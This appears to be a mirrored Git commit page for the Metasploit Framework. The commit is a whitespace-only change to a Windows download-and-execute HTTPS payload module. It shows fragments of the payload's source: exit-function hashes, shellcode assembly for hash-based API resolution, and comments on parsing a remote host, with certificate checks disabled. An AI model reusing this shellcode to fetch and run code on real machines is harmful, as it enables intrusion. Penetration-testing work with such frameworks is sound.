infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Whitespace

unstable
James Lee 2012-05-02 18:06:39 -06:00
parent c26dff4cff
commit dd7bc23d16
1 changed files with 5 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
modules/payloads/singles/windows/download_exec_https.rb
View File

@ -55,7 +55,7 @@ module Metasploit3
#;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID #;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
#;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID #;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
#;0x00000200 ; INTERNET_FLAG_NO_UI" #;0x00000200 ; INTERNET_FLAG_NO_UI"
exitfuncs = { exitfuncs = {
"PROCESS" => 0x56A2B5F0, #kernel32.dll!ExitProcess "PROCESS" => 0x56A2B5F0, #kernel32.dll!ExitProcess
"THREAD" => 0x0A2A1DE0, #kernel32.dll!ExitThread "THREAD" => 0x0A2A1DE0, #kernel32.dll!ExitThread
@ -73,11 +73,11 @@ module Metasploit3
if exitfuncs[exitfunc] if exitfuncs[exitfunc]
exitasm = case exitfunc exitasm = case exitfunc
when "SEH" then "xor eax,eax\ncall eax" when "SEH" then "xor eax,eax\ncall eax"
when "NONE" then "jmp end" # don't want to load user32.dll for GetLastError when "NONE" then "jmp end" # don't want to load user32.dll for GetLastError
else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc] else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc]
end end
end end
# parse URL and break it down in # parse URL and break it down in
# - remote host # - remote host
@ -188,7 +188,7 @@ loop_funcname: ;
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one... ; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT pop eax ; Restore the current modules EAT